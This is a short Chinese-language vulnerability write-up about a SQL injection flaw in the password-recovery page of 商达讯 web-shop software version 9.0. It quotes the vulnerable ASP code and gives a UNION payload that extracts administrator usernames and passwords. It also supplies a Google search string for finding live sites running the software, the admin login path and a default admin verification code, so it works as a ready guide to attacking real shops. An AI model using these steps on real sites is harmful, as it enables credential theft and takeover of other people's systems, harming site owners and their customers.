商达讯智能网店管理系统高级企业版免费版9.0注入漏洞
这套系统很庞大,文件很多,我也没一一看完,大多数参数都被SafeRequest函数过滤了,但是在userfile.asp存在一处疏忽,看432行取回密码的过程:
sub repass()
dim shop
shop=SafeRequest("shop",1)
select case shop
'//输入用户名
case ""
response.Write "table width=100% border=0 align=center cellpadding=1 cellspacing=0"
response.Write "td height=30 bgcolor=80B5FF>div align=center>font color=FFFFFF取回密码"
response.Write "form name=shop0 method=post action=user_manage.asp?action=repass&shop=1>"
response.Write "tr>td height=50 bgcolor=ffffffdiv align=center>请输入您的用户名: input name=username type=text id=username size=16/div>"
response.Write "tr>td height=32 bgcolor=ffffff>div align=center>input type=submit name=Submit value=确 定 onclick='return check0();'tr>"
response.Write "/form>"
'//输入问题答案
case "1"
set rs=server.CreateObject("adodb.recordset")
rs.open "select UserQuesion,UserAnswer from Dv_user where username='"&trim(request.form("username"))&"' ",conn,1,1 '这里username直接从form取得,并没过滤带入数据库查询,在这注入
if rs.eof and rs.bof then
response.write "center>br>查无此用户,请返回!
"
else
注入语句很简单,' union select username&password,2 from DV_admin 官方测试也存在此漏洞
利用:Google:inurl:scprolist.asp?bid= 点击登录,忘记密码,在用户名处写注入语句,确定
后台是 admin/admin_login.asp,默认管理员的认证码是wwwsdxcocn,但是许多网站都没开启认证码。